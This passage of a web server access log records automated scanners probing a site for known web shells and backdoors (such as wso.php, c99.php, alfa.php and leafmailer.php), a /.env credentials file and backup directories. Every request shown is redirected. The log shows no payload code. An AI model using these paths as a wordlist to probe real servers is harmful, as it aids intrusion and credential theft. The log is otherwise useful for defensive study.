/wp-files.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:17 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:18 -0400] "GET /shell.php3 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:18 -0400] "GET /wp-content/themes/pridmag/layout.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:19 -0400] "GET /wp-admin/css/colors/coffee/biASsM.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:21 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:23 -0400] "GET /.well-known/cd.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:24 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:24 -0400] "GET /css/cbimsyft.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:24 -0400] "GET /wp-content/plugins/kvyiipi/ovasoksxl.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:25 -0400] "GET /.well-known/acme-challenge/db-update.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:25 -0400] "GET /.well-known/acme-challenge/item.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:26 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:26 -0400] "GET /assets/css/source/attention_seekers/ovagvggbs.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:26 -0400] "GET /wp-content/themes/understrap/sass/theme/ovafzspyx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:27 -0400] "GET /wp-includes/Requests/input.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:27 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:28 -0400] "GET /wp-admin/js/widgets/jTQPHG.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:29 -0400] "GET /wp-includes/images/search_template_1735125075.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:29 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:30 -0400] "GET /files/function.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:30 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:31 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:31 -0400] "GET /wp-admin/css/colors/coffee/HrEPYzCPRv.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:32 -0400] "GET /wp-content/plugins/elementor-pro/modules/popup/ovaqagfqe.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:32 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:34 -0400] "GET /.well-known/ggmdjzys.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:35 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:37 -0400] "GET /wp-includes/css/xc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:37 -0400] "GET /.well-known/wp-load.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:39 -0400] "GET /contents.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:39 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:41 -0400] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:42 -0400] "GET /.well-known/r.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:42 -0400] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:43 -0400] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:43 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:44 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:44 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:45 -0400] "GET /admin/uploads/d.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:45 -0400] "GET /wp-admin/css/colors/blue/1.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:46 -0400] "GET /wp-includes/images/sxo.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:47 -0400] "GET /.well-known/acme-challenge/309851/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:47 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:48 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:49 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:49 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:50 -0400] "GET /wp-includes/images/smilies/migrate.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:50 -0400] "GET /ccx/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:51 -0400] "GET /welcome/wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:52 -0400] "GET /.well-known/lsouyppu.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:53 -0400] "GET /.well-known/xin1.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:54 -0400] "GET /.well-known/acme-challenge/class_api.php999 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:54 -0400] "GET /aj.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:55 -0400] "GET /wp-content/uploads/wpr-addons/forms/elp.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:56 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:56 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:57 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:57 -0400] "GET /.well-known/custom.file.1.1735117699.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:58 -0400] "GET /wp-includes/css/zmFM.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:58 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:59 -0400] "GET /raf.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:00 -0400] "GET /smartoptimizer/cache/842900/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:01 -0400] "GET /wp-admin/includes/admin-header.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:01 -0400] "GET /wp-content/themes/calmly/issue.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:02 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:02 -0400] "GET /wp-admin/js/wp-czfnv.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:04 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:04 -0400] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:06 -0400] "GET /.well-known/avdotiet.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:06 -0400] "GET /wp-includes/html-api/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:06 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:07 -0400] "GET /wp-admin/network/lock.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:07 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:08 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:08 -0400] "GET /components/com_wrapper/views/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:08 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:09 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:10 -0400] "GET /wp-content/themes/rttheme18/images/colors/ovakiiphb.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:10 -0400] "GET /wp-includes/beofdecn.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:11 -0400] "GET /assets/images/88123af40d.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:12 -0400] "GET /.well-known/ajfghdbd.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:14 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:16 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:18 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:20 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:23 -0400] "GET /wp-admin/js/widgets/come.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:24 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:29 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:32 -0400] "GET /wp-admin/css/colors/sxo.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:35 -0400] "GET /OVA-UNAME.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:37 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:41 -0400] "GET /vendor/php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:42 -0400] "GET /wp-includes/css/custom-file-5-1735118957.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:43 -0400] "GET /wp-content/themes/intense/block-css.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:44 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:45 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:46 -0400] "GET /wp-admin/images/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:04:46 -0400] "GET /wp-includes/sodium_compat/src/about.php HTTP/1.1" 301 795 "-" "-" 43.156.202.34 - - [22/Apr/2025:02:05:20 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.44.12.37 - - [22/Apr/2025:02:39:00 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 142.202.190.32 - - [22/Apr/2025:03:05:37 -0400] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 142.202.190.32 - - [22/Apr/2025:03:05:52 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 24.199.117.121 - - [22/Apr/2025:03:40:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 185.242.177.19 - - [22/Apr/2025:03:55:01 -0400] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 108.167.146.125 - - [22/Apr/2025:04:09:11 -0400] "HEAD / HTTP/1.1" 301 0 "-" "-" 138.199.29.151 - - [22/Apr/2025:04:48:30 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 162.0.232.217 - - [22/Apr/2025:04:54:22 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [22/Apr/2025:04:56:16 -0400] "GET /.well-known/pki-validation/asyaddpi.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [22/Apr/2025:04:56:31 -0400] "GET /.well-known/pki-validation/3c2b55bd-fabd-419b-9718-66fbcf89acc5.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [22/Apr/2025:04:56:44 -0400] "GET /.well-known/pki-validation/65d9b536-ce5f-497e-8c82-8ee66c78d293.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [22/Apr/2025:04:57:26 -0400] "GET /.well-known/pki-validation/xp.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [22/Apr/2025:04:57:34 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [22/Apr/2025:04:57:47 -0400] "GET /.well-known/pki-validation/sxo.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [22/Apr/2025:04:59:52 -0400] "GET /.well-known/pki-validation/ahzjhofz.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [22/Apr/2025:05:01:01 -0400] "GET /.well-known/acme-challenge/index_php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [22/Apr/2025:05:01:13 -0400] "GET /.well-known/pki-validation/class_api.php999 HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [22/Apr/2025:05:01:34 -0400] "GET /.well-known/pki-validation/akrcovxu.php HTTP/1.1" 301 795 "-" "get_local:DCV" 3.149.29.91 - - [22/Apr/2025:05:11:49 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [22/Apr/2025:05:11:54 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [22/Apr/2025:05:11:56 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [22/Apr/2025:05:11:58 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [22/Apr/2025:05:12:00 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [22/Apr/2025:05:12:01 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [22/Apr/2025:05:12:04 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [22/Apr/2025:05:12:06 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [22/Apr/2025:05:12:09 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 3.149.29.91 - - [22/Apr/2025:05:12:12 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 197.144.59.146 - - [22/Apr/2025:05:23:42 -0400] "GET /shell4.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:23:48 -0400] "GET /ups.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:23:51 -0400] "GET /ru.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:23:57 -0400] "GET /if.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:24:00 -0400] "GET /vuln.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:24:05 -0400] "GET /fw.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:24:09 -0400] "GET /skipper.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:24:12 -0400] "GET /skippershell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:24:15 -0400] "GET /tttt.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:24:18 -0400] "GET /tshop.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:24:20 -0400] "GET /alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:24:23 -0400] "GET /shell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:24:27 -0400] "GET /inje3ctor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:24:30 -0400] "GET /saudi.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:24:33 -0400] "GET /wso.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:24:36 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:24:39 -0400] "GET /my_alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:24:42 -0400] "GET /uploader.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:24:45 -0400] "GET /up.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:24:48 -0400] "GET /hacked.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:24:51 -0400] "GET /c99.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:24:54 -0400] "GET /priv8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:24:57 -0400] "GET /Navir.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:25:00 -0400] "GET /cmd13.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:25:03 -0400] "GET /inc20k1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:25:09 -0400] "GET /1index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:25:13 -0400] "GET /404.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:25:17 -0400] "GET /swm.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:25:20 -0400] "GET /wp.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:25:24 -0400] "GET /doc.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:25:27 -0400] "GET /shx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:25:31 -0400] "GET /ws.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:25:34 -0400] "GET /m.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:25:37 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:25:41 -0400] "GET /LEAF.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:25:44 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:25:47 -0400] "GET /mailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:25:52 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:25:57 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:26:00 -0400] "GET /leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:26:05 -0400] "GET /x.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:26:12 -0400] "GET /srx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:26:17 -0400] "GET /1337.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:26:26 -0400] "GET /xx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:26:32 -0400] "GET /XxX.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.144.59.146 - - [22/Apr/2025:05:26:38 -0400] "GET /lf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; 